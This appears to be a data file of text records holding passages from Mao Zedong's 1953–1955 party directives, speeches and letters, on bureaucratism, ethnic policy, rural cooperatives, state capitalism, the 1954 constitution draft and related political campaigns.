官僚主义和命令主义在我们的党和政府，不但在目前是一个大问题，就是在一个很长的时期内还将是一个大问题。就其社会根源来说，这是反动统治阶级对待人民的反动作风（反人民的作风，国民党的作风）的残余在我们党和政府内的反映的问题。就我们党政组织的领导任务和领导方法来说，这是交代工作任务与交代政策界限、交代工作作风没有联系在一起的问题，即没有和工作任务一道，同时将政策界限和工作作风反复地指示给中下级干部的问题。这是对各级干部特别是对县、区、乡三级干部没有审查，或者审查工作做得不好的问题。这是对县、区、乡三级尚未开展整党工作，尚未在整党中开展反命令主义和清除违法乱纪分子的斗争的问题。这是在我们专区以上的高级机关工作人员中至今还存在着不了解和不关心人民群众的痛苦，不了解和不关心基层组织情况这样一种官僚主义，尚未向它开展斗争和加以肃清的问题。如果我们的领导任务有所加强，我们的领导方法有所改进，则危害群众的官僚主义和命令主义就可以逐步减少，就可以使我们的许多党政组织较早地远离国民党作风。而混在我们党政组织中的许多坏人就可以早日清除，目前存在的许多坏事就可以早日消灭。 因此请你们在一九五三年结合整党建党及其他工作，从处理人民来信入手，检查一次官僚主义、命令主义和违法乱纪分子的情况，并向他们展开坚决的斗争。凡典型的官僚主义、命令主义和违法乱纪的事例，应在报纸上广为揭发。其违法情形严重者必须给以法律的制裁，如是党员必须执行党纪。各级党委应有决心将为群众所痛恨的违法乱纪分子加以惩处和清除出党政组织，最严重者应处极刑，以平民愤，并借以教育干部和人民群众。但在开展反坏人坏事的广泛斗争达到了一个适当阶段的时候，就应将各地典型的好人好事加以调查分析和表扬，使全党都向这些好的典型看齐，发扬正气，压倒邪气。我们相信，各地这种典型的好人好事是一定不少的。 注 释 * 这是毛泽东同志为中共中央起草的党内指示。"},
    {"text": "批判大汉族主义 批判大汉族主义 * （一九五三年三月十六日） 有些地方民族关系很不正常。此种情形，对于共产党人说来，是不能容忍的。必须深刻批评我们党内在很多党员和干部中存在着的严重的大汉族主义思想，即地主阶级和资产阶级在民族关系上表现出来的反动思想，即是国民党思想，必须立刻着手改正这一方面的错误。凡有少数民族存在的地方，都要派出懂民族政策、对于仍然被歧视受痛苦的少数民族同胞怀抱着满腔同情心的同志，率领访问团，前往访问，认真调查研究，帮助当地党政组织发现问题和解决问题，而不是走马看花的访问。 根据不少材料看来，中央认为凡有少数民族存在的地方，大都存在着尚未解决的问题，有些是很严重的问题。表面上看来平静无事，实际上问题很严重。二三年来在各地所发现的问题，都证明大汉族主义几乎到处存在。如果我们现在不抓紧时机进行教育，坚决克服党内和人民中的大汉族主义，那是很危险的。在许多地方的党内和人民中，在民族关系上存在的问题，并不是什么大汉族主义的残余的问题，而是严重的大汉族主义的问题，即资产阶级思想统治着这些同志和人民而尚未获得马克思主义教育、尚未学好中央民族政策的问题，故须进行认真的教育，以期一步一步地解决这个问题。另外，应在报纸上根据事实，多写文章，进行公开的批判，教育党员和人民。 注 释 * 这是毛泽东同志为中共中央起草的党内指示。 解决“五多”问题 解决“五多”问题 * （一九五三年三月十九日） （一）我们党政组织在农村工作中存在一些严重地脱离农民群众、损害农民及其积极分子的利益的问题，即所谓“五多”问题。“五多”，就是任务多，会议集训多，公文报告表册多，组织多，积极分子兼职多。这些问题，很久就存在了，中央曾对其中有些问题有过指示，要求各级党委予以重视和解决，但是不但没有解决，反而越来越严重。其原因，是没有将整个问题系统地提出来，尤其重要的是没有在中央、大区、省（市）、专区和县这五级党政领导机关中展开反对分散主义和官僚主义的斗争。因为区、乡的“五多”，基本上不是从区、乡产生的，而是从上面产生的，是因为在县以上各级党政领导机关中存在着严重的分散主义和官僚主义所引起的，有些则是过去革命战争和土地改革时期的产物，未加改变，遗留至今的。因此，必须在一九五三年内，在执行中央一九五三年一月五日关于反对官僚主义、反对命令主义、反对违法乱纪的指示中，着重地克服领导机关中的官僚主义和分散主义，并将那些过去需要而现在已不需要的制度和办法加以改变，方能解决这个问题。今后各级领导机关在规定任务的问题上，在召集会议和调人集训的问题上，在发出公文表册和向下级要报告的问题上，在规定区、乡组织形式的问题上以及在使用乡村积极分子的问题上，都要由县以上党委和政府的主要负责同志，按照实际可行的情况，加以适当的规定，有些则要由中央作出统一的规定。过去由各级党、政、民组织的许多工作部门，各自独立地向下级分派任务，随便召集下级人员和农村积极分子开会或训练，滥发公文表册和向下级或农村随便要报告等项不良制度和不良办法，必须坚决废止，而代之以有领导的、统一的和适合情况的制度和办法。至于在农村中每个乡存在着几十种委员会以及积极分子兼职太多，均属妨碍生产，脱离群众，也应坚决地但是有步骤地加以改变。 （二）中央一级党、政、民组织有关各部门，中央分别责成中央组织部，中央人民政府政务院及其所属财经、文教、政法三个委员会的主管同志负责，对于过去引起“五多”问题的各事项迅速加以清理，并规定适当的制度和办法，向中央作报告。 （三）各大区和省市，由各中央局、分局、省市委及各该级行政机关主管同志负责，对于“五多”问题加以清理，规定自己的解决办法，并报告中央。为达此项目的，请各中央局、分局、省市委仿照西北局的办法，派出一个专为了解“五多”问题的检查组，检查所属的一二个区、乡（在城市是检查一二个区、街）的情况，以为解决问题的参考材料。 （四）专区级和县级的“五多”问题，由省委负责指导解决之。 （五）农业生产是农村中压倒一切的工作，农村中的其他工作都是围绕着农业生产而为它服务的。凡足以妨碍农民进行生产的所谓工作任务和工作方法，都必须避免。目前我国的农业，基本上还是使用旧式工具的分散的小农经济，这和苏联使用机器的集体化的农业，大不相同。因此，我国在目前过渡时期，在农业方面，除国营农场外，还不可能施行统一的有计划的生产，不能对农民施以过多的干涉，还只能用价格政策以及必要和可行的经济工作和政治工作去指导农业生产，并使之和工业相协调而纳入国家经济计划之中。超过这种限度的所谓农业“计划”、所谓农村中的“任务”是必然行不通的，而且必然要引起农民的反对，使我党脱离占全国人口百分之八十以上的农民群众，这是非常危险的。所谓区、乡工作中的“五多”问题，其中有很大的成分就是这种过多地干涉农民的表现（另一部分成分是因为革命战争和土地改革的需要而产生和遗留下来的），已经引起农民的不满，必须加以改变。 注 释 * 这是毛泽东同志为中共中央起草的党内指示。"},
    {"text": "对刘少奇、杨尚昆破坏纪律擅自以中央名义发出文件的批评 对刘少奇、杨尚昆破坏纪律擅自 以中央名义发出文件的批评 * （一九五三年五月十九日） 一 嗣后，凡用中央名义发出的文件、电报，均须经我看过方能发出， 否则无效 。请注意。 二 （一）请负责检查自去年八月一日（八一以前的有过检查）至今年五月五日用中央和军委名义发出的电报和文件，是否有及有多少未经我看过的（我出巡及患病请假时间内者不算在内），以其结果告我； （二）过去数次中央会议决议不经我看，擅自发出，是错误的，是破坏纪律的。 注 释 * 这是毛泽东同志对刘少奇、杨尚昆的两次书面批评。 批判离开总路线的右倾观点 批判离开总路线的右倾观点 * （一九五三年六月十五日） 党在过渡时期 〔1〕 总路线和总任务，是要在十年到十五年或者更多一些时间内，基本上完成国家工业化和对农业、手工业、资本主义工商业的社会主义改造。这条总路线是照耀我们各项工作的灯塔。 不要脱离这条总路线， 脱离了就要发生“左”倾或右倾的错误。 有人认为过渡时期太长了，发生急躁情绪。这就要犯“左”倾的错误。有人在民主革命成功以后，仍然停留在原来的地方。他们没有懂得革命性质的转变，还在继续搞他们的“新民主主义”，不去搞社会主义改造。这就要犯右倾的错误。就农业来说，社会主义道路是我国农业唯一的道路。发展互助合作运动，不断地提高农业生产力，这是党在农村中工作的中心。 右倾的表现有这样三句话： “确立新民主主义社会秩序”。这种提法是有害的。过渡时期每天都在变动，每天都在发生社会主义因素。所谓“新民主主义社会秩序”，怎样“确立”？要“确立”是很难的哩！比如私营工商业，正在改造，今年下半年要“立”一种秩序，明年就不“确”了。农业互助合作也年年在变。过渡时期充满着矛盾和斗争。我们现在的革命斗争，甚至比过去的武装革命斗争还要深刻。这是要把资本主义制度和一切剥削制度彻底埋葬的一场革命。“确立新民主主义社会秩序”的想法，是不符合实际斗争情况的，是妨碍社会主义事业的发展的。 “由新民主主义走向社会主义”。这种提法不明确。走向而已，年年走向，一直到十五年还叫走向？走向就是没有达到。这种提法，看起来可以，过细分析，是不妥当的。 “确保私有财产”。因为中农怕“冒尖”，怕“共产”，就有人提出这一口号去安定他们。其实，这是不对的。 我们提出逐步过渡到社会主义，这比较好。所谓逐步者，共分十五年，一年又有十二个月。走得太快，“左”了；不走，太右了。要反“左”反右，逐步过渡，最后全部过渡完。 注 释 * 这是毛泽东同志在中共中央政治局会议上的讲话的一部分。在讲话中，毛泽东同志批判了刘少奇等人提出的“确立新民主主义社会秩序”等右倾机会主义观点。 〔1〕 这里所说的“过渡时期”，是指从中华人民共和国成立，到社会主义改基本完成这一时期。党在这个过渡时期的总路线和总任务，是要在一个相当的时期内，基本上完成国家工业化和对农业、手工业、资本主义工商业的社会义改造。这个过渡时期和毛泽东同志在一九六二年九月党的八届十中全会及以后所说的过渡时期，含义不同，后者是指由资本主义过渡到共产主义的整个史时期。"},
    {"text": "青年团要配合党的中心工作，但在配合党的中心工作当中，要有自己的独立工作，要照顾青年的特点。 一九五二年我同团中央的同志谈话，出了两个题目要团中央研究，一个是党如何领导团的工作，一个是团如何做工作。"},
    {"text": "青年团要学会领导青年，和成年人一道，在农村把农业搞好，在城市把工业搞好，在学校把学习搞好，在机关把工作做好，在军队把国防军练好，成为现代化军队。"},
    {"text": "一方面学习，一方面娱乐、休息、睡眠，这两方面要充分兼顾。 工农兵青年们，是在工作中学习，工作学习和娱乐休息睡眠两方面也要充分兼顾。 两头都要抓紧，学习工作要抓紧，睡眠休息娱乐也要抓紧。"},
    {"text": "团中央委员候选人的名单，三十岁以下的原来只有九个，现在经过党中央讨论，增加到六十几个，也只占四分之一多一点。 三十岁以上的还占差不多四分之三，有的同志还说少了。"},
    {"text": "关于国家资本主义 关于国家资本主义 * （一九五三年七月九日） 中国现在的资本主义经济其绝大部分是在人民政府管理之下的，用各种形式和国营社会主义经济联系着的，并受工人监督的资本主义经济。这种资本主义经济已经不是普通的资本主义经济，而是一种特殊的资本主义经济，即新式的国家资本主义经济。它主要地不是为了资本家的利润而存在，而是为了供应人民和国家的需要而存在。不错，工人们还要为资本家生产一部分利润，但这只占全部利润中的一小部分，大约只占四分之一左右，其余的四分之三是为工人（福利费）为国家（所得税）及为扩大生产设备（其中包含一小部分是为资本家生产利润的）而生产的。因此，这种新式国家资本主义经济是带着很大的社会主义性质的，是对工人和国家有利的。 注 释 * 这是毛泽东同志在一九五三年夏季全国财经工作会议的一个文件上的批语。 党在过渡时期的总路线 党在过渡时期的总路线 * （一九五三年八月） 从中华人民共和国成立，到社会主义改造基本完成，这是一个过渡时期。党在这个过渡时期的总路线和总任务，是要在一个相当长的时期内，基本上实现国家工业化和对农业、手工业、资本主义工商业的社会主义改造。这条总路线， 应是照耀我们各项工作的灯塔， 各项工作离开它，就要犯右倾或“左”倾的错误。 这条总路线的许多方针政策，在一九四九年三月的党的二中全会的决议里就已提出，并已作了原则性的解决。可是许多同志却不愿意遵照二中全会的规定去工作，喜欢在某些问题上另闹一套不符合于二中全会规定的东西，甚至公然违反二中全会的原则。 注 释 * 这是毛泽东同志审阅周恩来同志在一九五三年夏季全国财经工作会议上的结论时所作的重要批示。"},
    {"text": "就思想状况来说，党内有三种人：有的同志是坚定的，没有动摇的，是马克思列宁主义思想； 有一部分同志，基本上是马克思列宁主义，但夹杂着一些非马克思列宁主义的思想；"},
    {"text": "在和资产阶级合作的三个时期，就是第一次国共合作时期、抗日战争时期和目前这个时期，都是资产阶级思想影响了党内一部分人，他们动摇了。"},
    {"text": "关于个体的农业经济和手工业经济实行合作化的问题，二中全会决议分明说：“这种合作社是以私有制为基础的在无产阶级领导的国家政权管理之下的劳动人民群众的集体经济组织。"},
    {"text": "单有国营经济而没有合作社经济，我们就不可能领导劳动人民的个体经济逐步地走上集体化，就不可能由新民主主义国家发展到将来的社会主义国家，就不可能巩固无产阶级在国家政权中的领导权。"},
    {"text": "薄一波写了《加强党在农村中的政治工作》的文章，他说：个体农民经过互助合作到集体化的道路，“是一种完全的空想，因为目前的互助组是以个体经济为基础的，它不能在这样的基础上逐渐发展到集体农场，更不能经由这样的道路在全体规模上使农业集体化。"},
    {"text": "这些不好的人又可以分为两部分：一部分是反革命分子，应当清除； 一部分是犯错误的革命者，包括党员和非党工作人员，应当用批评教育的方法来改造他们。"},
    {"text": "为了保证社会主义事业的成功，必须在全党，首先在中央、大区和省市这三级党政军民领导机关中，反对右倾机会主义的错误倾向，即反对党内的资产阶级思想。"},
    {"text": "民主革命时期，对主观主义的错误，用整风的办法解决了，团结了全党执行正确路线的同志和犯过错误的同志，大家从延安出发，奔赴各个战场，全党一个劲，取得了全国胜利。"},
    {"text": "第二种人不甚关心，认为党委对他最好不管，管也可以。 “最好不管”是缺乏党性，“管也可以”是还有党性。 我们要抓他“管也可以”，对缺乏党性要说服教育。"},
    {"text": "在关于增强党性的决定中，强调要严格实行民主集中制的纪律，少数服从多数，个人服从组织，下级服从上级，全党服从中央（这是多数服从少数，这个少数是代表多数的）。"},
    {"text": "〔2〕 老“三反”，指一九五一年开展的反对贪污、反对浪费、反对官僚主义的斗争。 新“三反”，指一九五三年开展的反对官僚主义、反对命令主义、反对违法乱纪的斗争。"},
    {"text": "改造资本主义工商业的必经之路 改造资本主义工商业的 必经之路 * （一九五三年九月七日） 经过国家资本主义，完成由资本主义到社会主义的改造。 （1）过去三年多，做了一些工作，但忙别的去了，用力不多，现在起要多做些工作。 （2）有了三年多的经验，已经可以肯定:经过国家资本主义完成对私营工商业的社会主义改造，是较健全的方针和办法。 （3）《共同纲领》第三十一条 〔1〕 的方针，现在应明确起来和逐步地具体化。所谓“明确起来”，是说在中央及地方的领导人物的头脑中，首先肯定国家资本主义是改造资本主义工商业和逐步完成社会主义过渡的必经之路。这一点无论在共产党和民主人士方面，都还没做到，此次会议的目的，应当做到这一点。 （4）稳步前进，不能太急。将全国私营工商业基本上（不是一切）引上国家资本主义轨道，至少需要三年至五年的时间，因此不应该发生震动和不安。 （5）公私合营、全部出原料收产品的加工订货和只收大部产品，是国家资本主义在私营工业方面的三种形式。 （6）私营商业亦可以实行国家资本主义，不可能以“排除”二字了之。这方面经验较少，尚须研究。 （7）占有大约三百八十万工人、店员的私营工商业，是国家的一项大财富，在国计民生中有很大的作用。私营工商业不仅对国家供给产品，而且可以为国家积累资金，可以为国家训练干部。 （8）有些资本家对国家保持一个很大的距离，他们仍没有改变唯利是图的思想；有些工人前进得太快了，他们不允许资本家有利可得。我们应向这两方面的人们进行教育，使他们逐步地（争取尽可能快些）适合国家的方针政策，即使中国的私营工商业基本上是为国计民生服务的、部分地是为资本家谋利的——这样就走上国家资本主义的轨道了。 关于国家资本主义企业的利润分配，有一个表: 所得税 34.5% 福利费 15% 公积金 30% 资方红利 20.5% 总计 100.0% （9）需要继续在资本家中间进行爱国主义教育，为此需要有计划地培养一部分眼光远大的、愿意和共产党和人民政府靠近的、先进的资本家，以便经过他们去说服大部分资本家。 （10）实行国家资本主义，不但要根据需要和可能（《共同纲领》），而且要出于资本家自愿，因为这是合作的事业，既是合作就不能强迫，这和对地主不同。 （11）全国各民族、各民主阶级、各民主党派、各人民团体在过去几年中已有很大的进步，相信再有三年至五年，这种进步将更大，所以三年至五年内基本上完成将私营工商业引上国家资本主义轨道是有可能的。国营企业的优胜，则是完成这一任务在物质方面的保证。 （12）至于完成整个过渡时期，即包括基本上完成国家工业化，基本上完成对农业、对手工业和对资本主义工商业的社会主义改造，则不是三五年所能办到的，而需要几个五年计划的时间。在这个问题上，既要反对遥遥无期的思想，又要反对急躁冒进的思想。 （13）一个是领导者，一个是被领导者，一个是不谋私利者，一个是还要谋一部分私利者，等等，这些是不相同的。但私营工商业基本上是为国计民生服务的（就利润分配上说，约占四分之三左右），因此可以和应当说服工人，和国营企业一样，实行增产节约、劳动竞赛，提高劳动生产率，降低成本，提高数量质量，这样对公私、劳资都有利。 注 释 * 毛泽东同志在一九五三年九月七日同民主党派和工商界部分代表进行了谈话。这是毛泽东同志写的谈话要点。 〔1〕 共同纲领第三十一条规定：“国家资本与私人资本合作的经济为国家资本主义性质的经济。在必要和可能的条件下，应鼓励私人资本向国家资本主义方向发展，例如为国家企业加工，或与国家合营，或用租借形式经营国家的企业，开发国家的富源等。”"},
    {"text": "抗美援朝的伟大胜利和今后的任务 抗美援朝的伟大胜利 和今后的任务 * （一九五三年九月十二日） 抗美援朝，经过三年，取得了伟大胜利，现在已经告一个段落。"},
    {"text": "我们中国人民志愿军的陆军、空军、海军，步兵、炮兵、工兵、坦克兵、铁道兵、防空兵、通信兵，还有卫生部队、后勤部队等等，取得了对美国侵略军队实际作战的经验。"},
    {"text": "抗美援朝是施仁政，现在发展工业建设也是施仁政。 所谓仁政有两种：一种是为人民的当前利益，另一种是为人民的长远利益，例如抗美援朝，建设重工业。"},
    {"text": "如果你是一个有“骨气”的人，那就把你的历史，过去怎样反共反人民，怎样用笔杆子杀人，跟韩复渠、张东荪、陈立夫、张群究竟是什么关系，向大家交代交代嘛！"},
    {"text": "（二）梁漱溟提出所谓“九天九地”，“工人在九天之上，农民在九地之下”，“工人有工会可靠，农会却靠不住，党、团、妇联等也靠不住，质、量都不行，比工商联也差，因此无信心”。"},
    {"text": "什么“中国没有阶级” ，什么“中国的问题是一个文化失调的问题”，什么“无色透明政府” 〔1〕 ，什么“中国革命只有外来原因没有内在原因”，这回又听见什么“九天九地”的高论，什么“共产党丢了农民”，“共产党不如工商联可靠”等等高论，这一切能使我相信吗？"},
    {"text": "他们所谓反动分子，是指那些从来不愿意在报纸上和公开场所表示反对帝国主义、反对封建主义、反对蒋介石及其反动国民党，没有当一个国家工作人员的起码的立场的人。"},
    {"text": "这些人特别不愿意反对蒋介石，所以台湾的广播和香港的报纸对于这些人特别表示好感，从来不骂，而且说是在大陆上“最有骨气的人”，其中就有梁漱溟。"},
    {"text": "他过去是怎样代表地主反共反人民的，现在又如何由代表地主的立场转到“代表农民”的立场上来了，他能说明这个变化过程，并使人们信服，那时方能确定究竟应当把他归入那一类。"},
    {"text": "其原因是：因为还有一些人愿意受他的欺骗，还不了解他，他还有充当活教材的作用，所以他还有资格当选为委员，除非他自己不愿意借政协的讲坛散布他的反动思想了。"},
    {"text": "差别是有，工人的收入是比农民多一些，但是土地改革后，农民有地，有房子，生活正在一天一天地好起来。 有些农民比工人的生活还要好些。 有些工人的生活也还有困难。"},
    {"text": "如果照你的办法去做，不是依靠农民自己劳动生产来增加他们的收入，而是把工人的工资同农民的收入平均一下，拿一部分给农民，那不是要毁灭中国的工业吗？"},
    {"text": "中国现在有两种联盟：一种是工人阶级跟农民阶级的联盟，一种是工人阶级跟资本家、大学教授、高级技术人员、起义将军、宗教首领、民主党派、无党派民主人士的联盟。"},
    {"text": "梁漱溟说，工农联盟破坏了，国家建设没有希望了。 就是说，如果不采纳梁漱溟的意见，就没有希望搞好工农联盟，就办不好国家建设，社会主义也就没有希望了！ 梁漱溟所说的那种“工农联盟”，确是没有希望的。"},
    {"text": "我们是坚持无产阶级对于一切问题的领导权（工人，农民，工商业者，各民族，各民主党派，各民众团体，工业、农业、政治、军事，总之一切），又团结，又斗争。"},
    {"text": "批判梁漱溟，不是对他这一个人的问题，而是借他这个人揭露他代表的这种反动思想。 梁漱溟是反动的，但我们还是把他的问题放在思想改造的范畴里头。"},
    {"text": "〔2〕 见《孟子·告子章句上》。 〔3〕 参看《史记·仲尼弟子列传》。 〔4〕 见王充《论衡·讲瑞》。 〔5〕 参看《史记·孔子世家》。 〔6〕 见《论语·李氏第十六》。"},
    {"text": "关于农业互助合作的两次谈话 关于农业互助合作的两次谈话 * （一九五三年十月、十一月） 一 十月十五日的谈话 办好农业生产合作社，即可带动互助组大发展。"},
    {"text": "在新区，无论大、中、小县，要在今冬明春，经过充分准备，办好一个到两个合作社，至少一个，一般一个到两个，至多三个，根据工作好坏而定。"},
    {"text": "个别县，工作很坏的县，比如说落后乡占百分之三十至四十，县委书记很弱，一搞就要出乱子，可以暂缺，不派数字，但是省委、地委要负责帮助整顿工作，准备条件，明年秋收以后，冬季要搞起来。"},
    {"text": "互助组还不能阻止农民卖地，要合作社，要大合作社才行。 大合作社也可使得农民不必出租土地了，一二百户的大合作社带几户鳏寡孤独，问题就解决了。 小合作社是否也能带一点，应加研究。"},
    {"text": "城市蔬菜供应，依靠个体农民进城卖菜来供应，这是不行的，生产上要想办法，供销合作社也要想办法。 大城市蔬菜的供求，现在有极大的矛盾。"},
    {"text": "私人所有制有两种，劳动人民的和资产阶级的，改变为集体所有制和国营（经过公私合营，统一于社会主义），这才能提高生产力，完成国家工业化。"},
    {"text": "二 十一月四日的谈话 做一切工作，必须切合实际，不合实际就错了。 切合实际就是要看需要与可能，可能就是包括政治条件、经济条件和干部条件。"},
    {"text": "搞农贷，发救济粮，依率计征，依法减免，兴修小型水利，打井开渠，深耕密植，合理施肥，推广新式步犁、水车、喷雾器、农药，反对“五多”等等，这些都是好事。"},
    {"text": "不靠社会主义，想从小农经济做文章，靠在个体经济基础上行小惠，而希望大增产粮食，解决粮食问题，解决国计民生的大计，那真是“难矣哉”! 有句古语，“纲举目张”。"},
    {"text": "现在的农业生产合作社还是半社会主义的，社外的个体农民是完全的私有制（个体农民在供销社入了股，他这一部分股金的所有制也有了变化，他也有一点社会主义），这两者之间是有矛盾的。"},
    {"text": "现在的农业生产合作社还是建立在私有制基础之上的，个人所有的土地、大牲口、大农具入了股，在社内社会主义因素和私有制也是有矛盾的，这个矛盾要逐步解决。"},
    {"text": "我们所采取的步骤是稳的，由社会主义萌芽的互助组，进到半社会主义的合作社，再进到完全社会主义的合作社（将来也叫农业生产合作社，不要叫集体农庄）。"},
    {"text": "农村是有一些苦，但是要有恰当的分析。 其实，农村并不是那样苦，也不过百分之十左右的缺粮户，其中有一半是很困难的，鳏寡孤独，没有劳动力，但是互助组、合作社可以给他们帮点忙。"},
    {"text": "会上讲了积极领导，稳步发展，但是也要估计到还会有些乱子出来。 你说积极、稳步，做起来也会是不积极领导，或者不稳步发展。 积极、稳步就是要有控制数字，派任务，尔后再检查完成没有。"},
    {"text": "据检查，现在有百分之五到百分之十的社减了产，办得不大好，这就是没有积极领导的结果。 当然有少数社没有办好，减了产，也是难免的。 但是如果有百分之二十甚至有更多的社减了产，那就是问题。"},
    {"text": "县干部、区干部的工作要逐步转到农业生产互助合作这方面来，转到搞社会主义这方面来。 县委书记、区委书记要把办社会主义之事当作大事看。"},
    {"text": "关于中华人民共和国宪法草案 关于中华人民共和国宪法草案 * （一九五四年六月十四日） 这个宪法草案，看样子是得人心的。 宪法草案的初稿，在北京五百多人的讨论中，在各省市各方面积极分子的讨论中，也就是在全国有代表性的八千多人的广泛讨论中，可以看出是比较好的，是得到大家同意和拥护的。"},
    {"text": "如果没有这些意见，宪法草案初稿虽然基本上正确，但还是不完全的，有缺点的，不周密的。 现在草案也许还有缺点，还不完全，这要征求全国人民的意见了。"},
    {"text": "我看理由之一 ，就是起草宪法采取了领导机关的意见和广大群众的意见相结合的方法。 这个宪法草案，结合了少数领导者的意见和八千多人的意见，公布以后，还要由全国人民讨论，使中央的意见和全国人民的意见相结合。 这就是领导和群众相结合，领导和广大积极分子相结合的方法。"},
    {"text": "它总结了无产阶级领导的反对帝国主义、反对封建主义、反对官僚资本主义的人民革命的经验，总结了最近几年来社会改革、经济建设、文化建设和政府工作的经验。"},
    {"text": "这个宪法草案也总结了从清朝末年以来关于宪法问题的经验，从清末的“十九信条” 〔1〕 起，到民国元年的《中华民国临时约法》 〔1〕 ，到北洋军阀政府的几个宪法和宪法草案 〔3〕 ，到蒋介石反动政府的《中华民国训政时期约法》，一直到蒋介石的伪宪法。"},
    {"text": "要有这么一个“各民主阶级、各民主党派、各人民团体的广泛的人民民主统一战线”，可以安定各阶层，安定民族资产阶级和各民主党派，安定农民和城市小资产阶级。"},
    {"text": "这个宪法草案所以得到大家拥护，大家所以说它好，就是因为有这两条：一条是正确地恰当地总结了经验，一条是正确地恰当地结合了原则性和灵活性。"},
    {"text": "一个团体要有一个章程，一个国家也要有一个章程，宪法就是一个总章程，是根本大法。 用宪法这样一个根本大法的形式，把人民民主和社会主义原则固定下来，使全国人民有一条清楚的轨道，使全国人民感到有一条清楚的明确的和正确的道路可走，就可以提高全国人民的积极性。"},
    {"text": "跟我们同样受帝国主义、封建主义压迫的国家很多，人口在世界上占多数，我们有了一 个革命的宪法，人民民主的宪法，有了一条清楚的明确的和正确的道路，对这些国家的人民会有帮助的。"},
    {"text": "我们是一个六亿人口的大国，要实现社会主义工业化，要实现农业的社会主义化、机械化，要建成一个伟大的社会主义国家，究竟需要多少时间？"},
    {"text": "为建设一个伟大的社会主义国家而奋斗 为建设一个伟大的 社会主义国家而奋斗 * （一九五四年九月十五日） 各位代表! 中华人民共和国第一届全国人民代表大会第一次会议，今天在我国首都北京举行。 代表总数一千二百二十六人，报到的代表一千二百十一人，因病因事请假没有报到的代表十五人，报到了因病因事今天临时缺席的代表七十人。今天会议实到的代表一千一百四十一人，合于法定人数。 中华人民共和国第一届全国人民代表大会第一次会议负有重大的任务。 这次会议的任务是: 制定宪法； 制定几个重要的法律； 通过政府工作报告； 选举新的国家领导工作人员。 我们这次会议具有伟大的历史意义。这次会议是标志着我国人民从一九四九年建国以来的新胜利和新发展的里程碑，这次会议所制定的宪法将大大地促进我国的社会主义事业。 我们的总任务是:团结全国人民，争取一切国际朋友的支援，为了建设一个伟大的社会主义国家而奋斗，为了保卫国际和平和发展人类进步事业而奋斗。 我国人民应当努力工作，努力学习苏联和各兄弟国家的先进经验，老老实实，勤勤恳恳，互勉互助，力戒任何的虚夸和骄傲，准备在几个五年计划之内，将我们现在这样一个经济上文化上落后的国家，建设成为一个工业化的具有高度现代文化程度的伟大的国家。 我们的事业是正义的。正义的事业是任何敌人也攻不破的。 领导我们事业的核心力量是中国共产党。 指导我们思想的理论基础是马克思列宁主义。 我们有充分的信心，克服一切艰难困苦，将我国建设成为一个伟大的社会主义共和国。 我们正在前进。 我们正在做我们的前人从来没有做过的极其光荣伟大的事业。 我们的目的一定要达到。 我们的目的一定能够达到。 全中国六万万人团结起来，为我们的共同事业而努力奋斗! 我们的伟大的祖国万岁! 注 释 * 这是毛泽东同志在中华人民共和国第一届全国人民代表大会第一次会议上的开幕词。 关于《红楼梦》研究问题的信 关于《红楼梦》研究问题的信 * （一九五四年十月十六日） 驳俞平伯的两篇文章付上，请一阅。这是三十多年以来向所谓《红楼梦》研究权威作家的错误观点的第一次认真的开火。作者是两个青年团员。他们起初写信给《文艺报》请问可不可以批评俞平伯，被置之不理。他们不得已写信给他们的母校——山东大学的老师，获得了支持，并在该校刊物《文史哲》上登出了他们的文章驳《红楼梦简论》。问题又回到北京，有人要求将此文在《人民日报》上转载，以期引起争论，展开批评，又被某些人以种种理由（主要是“小人物的文章”，“党报不是自由辩论的场所”）给以反对，不能实现；结果成立妥协，被允许在《文艺报》转载此文。嗣后，《光明日报》的《文学遗产》栏又发表了这两个青年的驳俞平伯《红楼梦研究》一书的文章。看样子，这个反对在古典文学领域毒害青年三十余年的胡适派资产阶级唯心论的斗争，也许可以开展起来了。事情是两个“小人物”做起来的，而“大人物”往往不注意，并往往加以拦阻，他们同资产阶级作家在唯心论方面讲统一战线，甘心作资产阶级的俘虏，这同影片《清宫秘史》 〔1〕 和《武训传》放映时候的情形几乎是相同的。被人称为爱国主义影片而实际是卖国主义影片的《清宫秘史》，在全国放映之后，至今没有被批判。《武训传》虽然批判了，却至今没有引出教训，又出现了容忍俞平伯唯心论和阻拦“小人物”的很有生气的批判文章的奇怪事情，这是值得我们注意的。 俞平伯这一类资产阶级知识分子，当然是应当对他们采取团结态度的，但应当批判他们的毒害青年的错误思想，不应当对他们投降。 注 释 * 这是毛泽东同志写给中共中央政治局的同志和其他有关同志的一封信。 〔1〕 《清宫秘史》是一部污蔑义和团爱国运动，鼓吹投降帝国主义的反动影片。刘少奇把这部卖国主义影片吹捧为“爱国主义”影片。"},
    {"text": "原子弹吓不倒中国人民 原子弹吓不倒中国人民 * （一九五五年一月二十八日） 中国和芬兰是友好的国家。我们的关系，是建立在和平共处五项原则的基础之上的。 中国同芬兰从来没有发生过冲突。在欧洲国家中，在历史上，中国只同英国、法国、德国、沙皇俄国、意大利、奥匈帝国、荷兰等国有过战争，都是这些国家从老远跑来侵略中国的，比如英法联军和包括美国、日本在内的八国联军对中国的进攻。参加侵朝战争的有十六个国家，其中有土耳其、卢森堡等国。这些侵略国家都说他们是爱好和平的，却把朝、中两国说成是侵略国。 今天，世界战争的危险和对中国的威胁主要来自美国的好战分子。他们侵占中国的台湾和台湾海峡，还想发动原子战争。我们有两条：第一，我们不要战争；第二，如果有人来侵略我们，我们就予以坚决回击。我们对共产党员和全国人民就是这样进行教育的。美国的原子讹诈，吓不倒中国人民。我国有六亿人口，有九百六十万平方公里的土地。美国那点原子弹，消灭不了中国人。即使美国的原子弹威力再大，投到中国来，把地球打穿了，把地球炸毁了，对于太阳系说来，还算是一件大事情，但对整个宇宙说来，也算不了什么。 我们有一句老话，小米加步枪。美国是飞机加原子弹。但是，如果飞机加原子弹的美国对中国发动侵略战争，那末，小米加步枪的中国一定会取得胜利。全世界人民会支持我们。第一次世界大战的结果，在俄国把沙皇、地主和资本家扫光了。第二次世界大战的结果，在中国把蒋介石和地主推翻了，东欧国家和一些亚洲国家也解放了。美国如果发动第三次世界大战，那末，算它要打八年或十年吧，其结果是美国和英国及其他帮凶国家的统治阶级要被扫光，世界上大部分地方都要变成共产党领导的国家。世界大战的结果，不是有利于好战分子，而是有利于共产党和世界革命人民。他们要发动战争，那就别怪我们搞革命，也就是他们口口声声所说的我们搞“颠覆活动”。他们不搞战争，还可以在地球上多存在一些时候。他们发动战争越早，他们在地球上被消灭也就越早。那时候就要建立人民的联合国，可能设在上海，也可能设在欧洲一个什么地方，也可能还设在纽约，如果那时美国好战分子已被扫光的话。 注 释 